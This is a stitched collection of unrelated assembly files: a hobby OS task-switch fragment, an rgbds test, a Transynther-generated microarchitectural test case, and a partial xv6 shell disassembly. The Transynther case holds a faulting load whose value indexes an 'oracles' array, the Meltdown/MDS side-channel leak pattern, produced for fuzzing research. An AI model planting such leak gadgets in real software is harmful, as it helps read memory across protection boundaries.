;***********************Cargo el contexto de la tarea
mov rsp,[TaskMalloc+task_struct.RSP0]
mov rbx,rsp
mov [sys_tss+tss_struc.reg_RSP0l],ebx
mov rbx,0
mov bx,[TaskMalloc+task_struct.SS]
push rbx
mov rbx,[TaskMalloc+task_struct.RSP]
push rbx
mov ds,[TaskMalloc+task_struct.DS]
mov rbx,[TaskMalloc+task_struct.RFLAGS]
push rbx
mov rbx,0
mov bx,[TaskMalloc+task_struct.CS]
push rbx
mov rbx,[TaskMalloc+task_struct.RIP]
push rbx
mov rcx,[TaskMalloc+task_struct.rcx]
mov rdx,[TaskMalloc+task_struct.rdx]
mov rdi,[TaskMalloc+task_struct.RDI]
mov rbx,0000
mov rbx,[TaskMalloc+task_struct.CR3]
mov cr3,rbx
iretq
mainLoop: ;Tarea idle del sistema
hlt
jmp mainLoop
[bits 16]
NO_PAE: ;aunque es al pedo para el debugging me caeria aca si no tuviese pae
;llamo a la rutina de print
mov edi,txt_pae_nav
mov esi,2 ; esi (segundo argumento) char columna
mov edx,2 ; edx (tercer argumento) char fila
mov ecx,100b ; ECX (cuarto arguemto) char color
call Print_16
hlt
jmp NO_PAE
NO_LME: ;aunque es al pedo para el debugging me caeria aca si no tuviese pae
;llamo a la rutina de print
mov edi,txt_lme_nav
mov esi,2 ; esi (segundo argumento) char columna
mov edx,2 ; edx (tercer argumento) char fila
mov ecx,100b ; ECX (cuarto arguemto) char color
call Print_16
hlt
jmp NO_LME
%include "include/isr.asm"
%include "include/gateA20.asm"
%include "include/utils_32.asm"
%include "include/utils_64.asm"
ALIGN 4096
ALIGN 8
pila_TaskMalloc_L3: times 100h db 0
TM_txt: db "TASK: MALLOC!!! ", 00h
Tarea_Malloc:
;xchg bx,bx
;la semilla del rand va a ser rax que va a ir tomando numeros random
mov rax,r11
mov qword rbx,0
int 80 ;con rbx en 0 llamo a la funcion random
;mov rax,0x25000000
;call canonise1Mega
add rax,0x200000 ;hago que siempre este por encima de los 2 megas asi no me jode con los descriptores de sistema
and rax,0x000000000FFFFFFF ; lo limito a 256megas de ram 0x000000003FFFFFFF
mov rbx,[rax] ;uso la direccion
inc r11
jmp Tarea_Malloc
| 33.709516
| 131
| 0.573693
|
19653d13bd312ca1be68db2d26965105a3455d5f
| 35
|
asm
|
Assembly
|
test/asm/align-large-ofs.asm
|
michealccc/rgbds
|
b51e1c7c2c4ce2769f01e016967d0115893a7a88
|
[
"MIT"
] | 522
|
2017-02-25T21:10:13.000Z
|
2020-09-13T14:26:18.000Z
|
test/asm/align-large-ofs.asm
|
michealccc/rgbds
|
b51e1c7c2c4ce2769f01e016967d0115893a7a88
|
[
"MIT"
] | 405
|
2017-02-25T21:32:37.000Z
|
2020-09-13T16:43:29.000Z
|
test/asm/align-large-ofs.asm
|
michealccc/rgbds
|
b51e1c7c2c4ce2769f01e016967d0115893a7a88
|
[
"MIT"
] | 84
|
2017-02-25T21:10:26.000Z
|
2020-09-13T14:28:25.000Z
|
SECTION "Tesst", ROM0, ALIGN[1,2]
| 11.666667
| 33
| 0.657143
|
dbea9714ed28fac8e7efbcdf37329e11ff9900b5
| 7,544
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1936.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1936.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_1936.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r15
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x88e8, %rax
nop
nop
and %rcx, %rcx
mov $0x6162636465666768, %r15
movq %r15, %xmm5
vmovups %ymm5, (%rax)
nop
nop
nop
cmp $63708, %r11
lea addresses_normal_ht+0xefac, %rsi
lea addresses_WC_ht+0x18ae8, %rdi
nop
nop
sub %rbp, %rbp
mov $117, %rcx
rep movsq
nop
nop
nop
nop
add $15588, %rax
lea addresses_UC_ht+0x146e8, %rdi
nop
nop
nop
nop
and %rbp, %rbp
mov $0x6162636465666768, %rsi
movq %rsi, (%rdi)
nop
nop
nop
sub $7422, %rcx
lea addresses_D_ht+0x12b18, %rsi
lea addresses_normal_ht+0x17be8, %rdi
nop
nop
nop
nop
nop
dec %r12
mov $119, %rcx
rep movsb
nop
sub $33949, %rbp
lea addresses_D_ht+0x8ef8, %rsi
lea addresses_A_ht+0x123e8, %rdi
nop
nop
nop
add $10877, %r12
mov $99, %rcx
rep movsq
nop
nop
nop
nop
dec %rcx
lea addresses_D_ht+0x6788, %rsi
lea addresses_WT_ht+0xcbd0, %rdi
nop
nop
cmp %r15, %r15
mov $115, %rcx
rep movsw
nop
nop
xor %r12, %r12
lea addresses_WT_ht+0x6998, %rdi
nop
nop
nop
nop
nop
cmp $49625, %r12
movw $0x6162, (%rdi)
nop
nop
nop
nop
nop
sub %rbp, %rbp
lea addresses_D_ht+0x6c68, %r11
nop
nop
nop
nop
and $17464, %rsi
mov (%r11), %ecx
nop
nop
cmp %rax, %rax
lea addresses_normal_ht+0x144f0, %rsi
sub %rcx, %rcx
movw $0x6162, (%rsi)
nop
nop
nop
inc %r15
lea addresses_WT_ht+0xa9c8, %rsi
lea addresses_normal_ht+0x16e64, %rdi
nop
nop
nop
sub $58111, %r15
mov $16, %rcx
rep movsw
nop
xor $17184, %rcx
lea addresses_WT_ht+0xc028, %rax
nop
nop
nop
inc %rdi
mov $0x6162636465666768, %rbp
movq %rbp, (%rax)
nop
nop
nop
nop
nop
cmp $22656, %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r8
push %rbp
push %rdi
push %rdx
push %rsi
// Store
lea addresses_PSE+0x11ee8, %r14
nop
nop
nop
dec %rbp
mov $0x5152535455565758, %rdi
movq %rdi, (%r14)
nop
nop
nop
nop
nop
and %r12, %r12
// Load
lea addresses_PSE+0x162e8, %rsi
xor $9595, %r12
movb (%rsi), %dl
nop
nop
nop
xor %r14, %r14
// Store
lea addresses_UC+0x1dee8, %r12
xor $60037, %rdx
movb $0x51, (%r12)
nop
dec %rsi
// Faulty Load
lea addresses_RW+0x106e8, %rdi
and %r8, %r8
mov (%rdi), %dx
lea oracles, %r12
and $0xff, %rdx
shlq $12, %rdx
mov (%r12,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rbp
pop %r8
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 6, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 3, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 6, 'size': 8, 'same': False, 'NT': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 33.23348
| 2,999
| 0.658669
|
2d13584a73d427a10f4983e186a210e0acb8203f
| 101,590
|
asm
|
Assembly
|
sh.asm
|
bilalsaad/os2
|
ee537cc56732914c15bcd76058a9d5c100b21a8a
|
[
"MIT-0"
] | null | null | null |
sh.asm
|
bilalsaad/os2
|
ee537cc56732914c15bcd76058a9d5c100b21a8a
|
[
"MIT-0"
] | null | null | null |
sh.asm
|
bilalsaad/os2
|
ee537cc56732914c15bcd76058a9d5c100b21a8a
|
[
"MIT-0"
] | null | null | null |
_sh: file format elf32-i386
Disassembly of section .text:
00000000 <runcmd>:
struct cmd *parsecmd(char*);
// Execute cmd. Never returns.
void
runcmd(struct cmd *cmd)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 38 sub $0x38,%esp
struct execcmd *ecmd;
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
6: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
a: 75 05 jne 11 <runcmd+0x11>
exit();
c: e8 50 0f 00 00 call f61 <exit>
switch(cmd->type){
11: 8b 45 08 mov 0x8(%ebp),%eax
14: 8b 00 mov (%eax),%eax
16: 83 f8 05 cmp $0x5,%eax
19: 77 09 ja 24 <runcmd+0x24>
1b: 8b 04 85 fc 14 00 00 mov 0x14fc(,%eax,4),%eax
22: ff e0 jmp *%eax
default:
panic("runcmd");
24: c7 04 24 d0 14 00 00 movl $0x14d0,(%esp)
2b: e8 27 03 00 00 call 357 <panic>
case EXEC:
ecmd = (struct execcmd*)cmd;
30: 8b 45 08 mov 0x8(%ebp),%eax
33: 89 45 f4 mov %eax,-0xc(%ebp)
if(ecmd->argv[0] == 0)
36: 8b 45 f4 mov -0xc(%ebp),%eax
39: 8b 40 04 mov 0x4(%eax),%eax
3c: 85 c0 test %eax,%eax
3e: 75 05 jne 45 <runcmd+0x45>
exit();
40: e8 1c 0f 00 00 call f61 <exit>
exec(ecmd->argv[0], ecmd->argv);
45: 8b 45 f4 mov -0xc(%ebp),%eax
48: 8d 50 04 lea 0x4(%eax),%edx
4b: 8b 45 f4 mov -0xc(%ebp),%eax
4e: 8b 40 04 mov 0x4(%eax),%eax
51: 89 54 24 04 mov %edx,0x4(%esp)
55: 89 04 24 mov %eax,(%esp)
58: e8 3c 0f 00 00 call f99 <exec>
printf(2, "exec %s failed\n", ecmd->argv[0]);
5d: 8b 45 f4 mov -0xc(%ebp),%eax
60: 8b 40 04 mov 0x4(%eax),%eax
63: 89 44 24 08 mov %eax,0x8(%esp)
67: c7 44 24 04 d7 14 00 movl $0x14d7,0x4(%esp)
6e: 00
6f: c7 04 24 02 00 00 00 movl $0x2,(%esp)
76: e8 86 10 00 00 call 1101 <printf>
break;
7b: e9 86 01 00 00 jmp 206 <runcmd+0x206>
case REDIR:
rcmd = (struct redircmd*)cmd;
80: 8b 45 08 mov 0x8(%ebp),%eax
83: 89 45 f0 mov %eax,-0x10(%ebp)
close(rcmd->fd);
86: 8b 45 f0 mov -0x10(%ebp),%eax
89: 8b 40 14 mov 0x14(%eax),%eax
8c: 89 04 24 mov %eax,(%esp)
8f: e8 f5 0e 00 00 call f89 <close>
if(open(rcmd->file, rcmd->mode) < 0){
94: 8b 45 f0 mov -0x10(%ebp),%eax
97: 8b 50 10 mov 0x10(%eax),%edx
9a: 8b 45 f0 mov -0x10(%ebp),%eax
9d: 8b 40 08 mov 0x8(%eax),%eax
a0: 89 54 24 04 mov %edx,0x4(%esp)
a4: 89 04 24 mov %eax,(%esp)
a7: e8 f5 0e 00 00 call fa1 <open>
ac: 85 c0 test %eax,%eax
ae: 79 23 jns d3 <runcmd+0xd3>
printf(2, "open %s failed\n", rcmd->file);
b0: 8b 45 f0 mov -0x10(%ebp),%eax
b3: 8b 40 08 mov 0x8(%eax),%eax
b6: 89 44 24 08 mov %eax,0x8(%esp)
ba: c7 44 24 04 e7 14 00 movl $0x14e7,0x4(%esp)
c1: 00
c2: c7 04 24 02 00 00 00 movl $0x2,(%esp)
c9: e8 33 10 00 00 call 1101 <printf>
exit();
ce: e8 8e 0e 00 00 call f61 <exit>
}
runcmd(rcmd->cmd);
d3: 8b 45 f0 mov -0x10(%ebp),%eax
d6: 8b 40 04 mov 0x4(%eax),%eax
d9: 89 04 24 mov %eax,(%esp)
dc: e8 1f ff ff ff call 0 <runcmd>
break;
e1: e9 20 01 00 00 jmp 206 <runcmd+0x206>
case LIST:
lcmd = (struct listcmd*)cmd;
e6: 8b 45 08 mov 0x8(%ebp),%eax
e9: 89 45 ec mov %eax,-0x14(%ebp)
if(fork1() == 0)
ec: e8 8c 02 00 00 call 37d <fork1>
f1: 85 c0 test %eax,%eax
f3: 75 0e jne 103 <runcmd+0x103>
runcmd(lcmd->left);
f5: 8b 45 ec mov -0x14(%ebp),%eax
f8: 8b 40 04 mov 0x4(%eax),%eax
fb: 89 04 24 mov %eax,(%esp)
fe: e8 fd fe ff ff call 0 <runcmd>
wait();
103: e8 61 0e 00 00 call f69 <wait>
runcmd(lcmd->right);
108: 8b 45 ec mov -0x14(%ebp),%eax
10b: 8b 40 08 mov 0x8(%eax),%eax
10e: 89 04 24 mov %eax,(%esp)
111: e8 ea fe ff ff call 0 <runcmd>
break;
116: e9 eb 00 00 00 jmp 206 <runcmd+0x206>
case PIPE:
pcmd = (struct pipecmd*)cmd;
11b: 8b 45 08 mov 0x8(%ebp),%eax
11e: 89 45 e8 mov %eax,-0x18(%ebp)
if(pipe(p) < 0)
121: 8d 45 dc lea -0x24(%ebp),%eax
124: 89 04 24 mov %eax,(%esp)
127: e8 45 0e 00 00 call f71 <pipe>
12c: 85 c0 test %eax,%eax
12e: 79 0c jns 13c <runcmd+0x13c>
panic("pipe");
130: c7 04 24 f7 14 00 00 movl $0x14f7,(%esp)
137: e8 1b 02 00 00 call 357 <panic>
if(fork1() == 0){
13c: e8 3c 02 00 00 call 37d <fork1>
141: 85 c0 test %eax,%eax
143: 75 3b jne 180 <runcmd+0x180>
close(1);
145: c7 04 24 01 00 00 00 movl $0x1,(%esp)
14c: e8 38 0e 00 00 call f89 <close>
dup(p[1]);
151: 8b 45 e0 mov -0x20(%ebp),%eax
154: 89 04 24 mov %eax,(%esp)
157: e8 7d 0e 00 00 call fd9 <dup>
close(p[0]);
15c: 8b 45 dc mov -0x24(%ebp),%eax
15f: 89 04 24 mov %eax,(%esp)
162: e8 22 0e 00 00 call f89 <close>
close(p[1]);
167: 8b 45 e0 mov -0x20(%ebp),%eax
16a: 89 04 24 mov %eax,(%esp)
16d: e8 17 0e 00 00 call f89 <close>
runcmd(pcmd->left);
172: 8b 45 e8 mov -0x18(%ebp),%eax
175: 8b 40 04 mov 0x4(%eax),%eax
178: 89 04 24 mov %eax,(%esp)
17b: e8 80 fe ff ff call 0 <runcmd>
}
if(fork1() == 0){
180: e8 f8 01 00 00 call 37d <fork1>
185: 85 c0 test %eax,%eax
187: 75 3b jne 1c4 <runcmd+0x1c4>
close(0);
189: c7 04 24 00 00 00 00 movl $0x0,(%esp)
190: e8 f4 0d 00 00 call f89 <close>
dup(p[0]);
195: 8b 45 dc mov -0x24(%ebp),%eax
198: 89 04 24 mov %eax,(%esp)
19b: e8 39 0e 00 00 call fd9 <dup>
close(p[0]);
1a0: 8b 45 dc mov -0x24(%ebp),%eax
1a3: 89 04 24 mov %eax,(%esp)
1a6: e8 de 0d 00 00 call f89 <close>
close(p[1]);
1ab: 8b 45 e0 mov -0x20(%ebp),%eax
1ae: 89 04 24 mov %eax,(%esp)
1b1: e8 d3 0d 00 00 call f89 <close>
runcmd(pcmd->right);
1b6: 8b 45 e8 mov -0x18(%ebp),%eax
1b9: 8b 40 08 mov 0x8(%eax),%eax
1bc: 89 04 24 mov %eax,(%esp)
1bf: e8 3c fe ff ff call 0 <runcmd>
}
close(p[0]);
1c4: 8b 45 dc mov -0x24(%ebp),%eax
1c7: 89 04 24 mov %eax,(%esp)
1ca: e8 ba 0d 00 00 call f89 <close>
close(p[1]);
1cf: 8b 45 e0 mov -0x20(%ebp),%eax
1d2: 89 04 24 mov %eax,(%esp)
1d5: e8 af 0d 00 00 call f89 <close>
wait();
1da: e8 8a 0d 00 00 call f69 <wait>
wait();
1df: e8 85 0d 00 00 call f69 <wait>
break;
1e4: eb 20 jmp 206 <runcmd+0x206>
case BACK:
bcmd = (struct backcmd*)cmd;
1e6: 8b 45 08 mov 0x8(%ebp),%eax
1e9: 89 45 e4 mov %eax,-0x1c(%ebp)
if(fork1() == 0)
1ec: e8 8c 01 00 00 call 37d <fork1>
1f1: 85 c0 test %eax,%eax
1f3: 75 10 jne 205 <runcmd+0x205>
runcmd(bcmd->cmd);
1f5: 8b 45 e4 mov -0x1c(%ebp),%eax
1f8: 8b 40 04 mov 0x4(%eax),%eax
1fb: 89 04 24 mov %eax,(%esp)
1fe: e8 fd fd ff ff call 0 <runcmd>
break;
203: eb 00 jmp 205 <runcmd+0x205>
205: 90 nop
}
exit();
206: e8 56 0d 00 00 call f61 <exit>
0000020b <getcmd>:
}
int
getcmd(char *buf, int nbuf)
{
20b: 55 push %ebp
20c: 89 e5 mov %esp,%ebp
20e: 83 ec 18 sub $0x18,%esp
printf(2, "$ ");
211: c7 44 24 04 14 15 00 movl $0x1514,0x4(%esp)
218: 00
219: c7 04 24 02 00 00 00 movl $0x2,(%esp)
220: e8 dc 0e 00 00 call 1101 <printf>
memset(buf, 0, nbuf);
225: 8b 45 0c mov 0xc(%ebp),%eax
228: 89 44 24 08 mov %eax,0x8(%esp)
22c: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
233: 00
234: 8b 45 08 mov 0x8(%ebp),%eax
237: 89 04 24 mov %eax,(%esp)
23a: e8 75 0b 00 00 call db4 <memset>
gets(buf, nbuf);
23f: 8b 45 0c mov 0xc(%ebp),%eax
242: 89 44 24 04 mov %eax,0x4(%esp)
246: 8b 45 08 mov 0x8(%ebp),%eax
249: 89 04 24 mov %eax,(%esp)
24c: e8 ba 0b 00 00 call e0b <gets>
if(buf[0] == 0) // EOF
251: 8b 45 08 mov 0x8(%ebp),%eax
254: 0f b6 00 movzbl (%eax),%eax
257: 84 c0 test %al,%al
259: 75 07 jne 262 <getcmd+0x57>
return -1;
25b: b8 ff ff ff ff mov $0xffffffff,%eax
260: eb 05 jmp 267 <getcmd+0x5c>
return 0;
262: b8 00 00 00 00 mov $0x0,%eax
}
267: c9 leave
268: c3 ret
00000269 <main>:
int
main(void)
{
269: 55 push %ebp
26a: 89 e5 mov %esp,%ebp
26c: 83 e4 f0 and $0xfffffff0,%esp
26f: 83 ec 20 sub $0x20,%esp
static char buf[100];
int fd;
// Assumes three file descriptors open.
while((fd = open("console", O_RDWR)) >= 0){
272: eb 15 jmp 289 <main+0x20>
if(fd >= 3){
274: 83 7c 24 1c 02 cmpl $0x2,0x1c(%esp)
279: 7e 0e jle 289 <main+0x20>
close(fd);
27b: 8b 44 24 1c mov 0x1c(%esp),%eax
27f: 89 04 24 mov %eax,(%esp)
282: e8 02 0d 00 00 call f89 <close>
break;
287: eb 1f jmp 2a8 <main+0x3f>
{
static char buf[100];
int fd;
// Assumes three file descriptors open.
while((fd = open("console", O_RDWR)) >= 0){
289: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
290: 00
291: c7 04 24 17 15 00 00 movl $0x1517,(%esp)
298: e8 04 0d 00 00 call fa1 <open>
29d: 89 44 24 1c mov %eax,0x1c(%esp)
2a1: 83 7c 24 1c 00 cmpl $0x0,0x1c(%esp)
2a6: 79 cc jns 274 <main+0xb>
break;
}
}
// Read and run input commands.
while(getcmd(buf, sizeof(buf)) >= 0){
2a8: e9 89 00 00 00 jmp 336 <main+0xcd>
if(buf[0] == 'c' && buf[1] == 'd' && buf[2] == ' '){
2ad: 0f b6 05 80 1a 00 00 movzbl 0x1a80,%eax
2b4: 3c 63 cmp $0x63,%al
2b6: 75 5c jne 314 <main+0xab>
2b8: 0f b6 05 81 1a 00 00 movzbl 0x1a81,%eax
2bf: 3c 64 cmp $0x64,%al
2c1: 75 51 jne 314 <main+0xab>
2c3: 0f b6 05 82 1a 00 00 movzbl 0x1a82,%eax
2ca: 3c 20 cmp $0x20,%al
2cc: 75 46 jne 314 <main+0xab>
// Clumsy but will have to do for now.
// Chdir has no effect on the parent if run in the child.
buf[strlen(buf)-1] = 0; // chop \n
2ce: c7 04 24 80 1a 00 00 movl $0x1a80,(%esp)
2d5: e8 b3 0a 00 00 call d8d <strlen>
2da: 83 e8 01 sub $0x1,%eax
2dd: c6 80 80 1a 00 00 00 movb $0x0,0x1a80(%eax)
if(chdir(buf+3) < 0)
2e4: c7 04 24 83 1a 00 00 movl $0x1a83,(%esp)
2eb: e8 e1 0c 00 00 call fd1 <chdir>
2f0: 85 c0 test %eax,%eax
2f2: 79 1e jns 312 <main+0xa9>
printf(2, "cannot cd %s\n", buf+3);
2f4: c7 44 24 08 83 1a 00 movl $0x1a83,0x8(%esp)
2fb: 00
2fc: c7 44 24 04 1f 15 00 movl $0x151f,0x4(%esp)
303: 00
304: c7 04 24 02 00 00 00 movl $0x2,(%esp)
30b: e8 f1 0d 00 00 call 1101 <printf>
continue;
310: eb 24 jmp 336 <main+0xcd>
312: eb 22 jmp 336 <main+0xcd>
}
if(fork1() == 0)
314: e8 64 00 00 00 call 37d <fork1>
319: 85 c0 test %eax,%eax
31b: 75 14 jne 331 <main+0xc8>
runcmd(parsecmd(buf));
31d: c7 04 24 80 1a 00 00 movl $0x1a80,(%esp)
324: e8 c9 03 00 00 call 6f2 <parsecmd>
329: 89 04 24 mov %eax,(%esp)
32c: e8 cf fc ff ff call 0 <runcmd>
wait();
331: e8 33 0c 00 00 call f69 <wait>
break;
}
}
// Read and run input commands.
while(getcmd(buf, sizeof(buf)) >= 0){
336: c7 44 24 04 64 00 00 movl $0x64,0x4(%esp)
33d: 00
33e: c7 04 24 80 1a 00 00 movl $0x1a80,(%esp)
345: e8 c1 fe ff ff call 20b <getcmd>
34a: 85 c0 test %eax,%eax
34c: 0f 89 5b ff ff ff jns 2ad <main+0x44>
}
if(fork1() == 0)
runcmd(parsecmd(buf));
wait();
}
exit();
352: e8 0a 0c 00 00 call f61 <exit>
00000357 <panic>:
}
void
panic(char *s)
{
357: 55 push %ebp
358: 89 e5 mov %esp,%ebp
35a: 83 ec 18 sub $0x18,%esp
printf(2, "%s\n", s);
35d: 8b 45 08 mov 0x8(%ebp),%eax
360: 89 44 24 08 mov %eax,0x8(%esp)
364: c7 44 24 04 2d 15 00 movl $0x152d,0x4(%esp)
36b: 00
36c: c7 04 24 02 00 00 00 movl $0x2,(%esp)
373: e8 89 0d 00 00 call 1101 <printf>
exit();
378: e8 e4 0b 00 00 call f61 <exit>
0000037d <fork1>:
}
int
fork1(void)
{
37d: 55 push %ebp
37e: 89 e5 mov %esp,%ebp
380: 83 ec 28 sub $0x28,%esp
int pid;
pid = fork();
383: e8 d1 0b 00 00 call f59 <fork>
388: 89 45 f4 mov %eax,-0xc(%ebp)
if(pid == -1)
38b: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
38f: 75 0c jne 39d <fork1+0x20>
panic("fork");
391: c7 04 24 31 15 00 00 movl $0x1531,(%esp)
398: e8 ba ff ff ff call 357 <panic>
return pid;
39d: 8b 45 f4 mov -0xc(%ebp),%eax
}
3a0: c9 leave
3a1: c3 ret
000003a2 <execcmd>:
//PAGEBREAK!
// Constructors
struct cmd*
execcmd(void)
{
3a2: 55 push %ebp
3a3: 89 e5 mov %esp,%ebp
3a5: 83 ec 28 sub $0x28,%esp
struct execcmd *cmd;
cmd = malloc(sizeof(*cmd));
3a8: c7 04 24 54 00 00 00 movl $0x54,(%esp)
3af: e8 39 10 00 00 call 13ed <malloc>
3b4: 89 45 f4 mov %eax,-0xc(%ebp)
memset(cmd, 0, sizeof(*cmd));
3b7: c7 44 24 08 54 00 00 movl $0x54,0x8(%esp)
3be: 00
3bf: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
3c6: 00
3c7: 8b 45 f4 mov -0xc(%ebp),%eax
3ca: 89 04 24 mov %eax,(%esp)
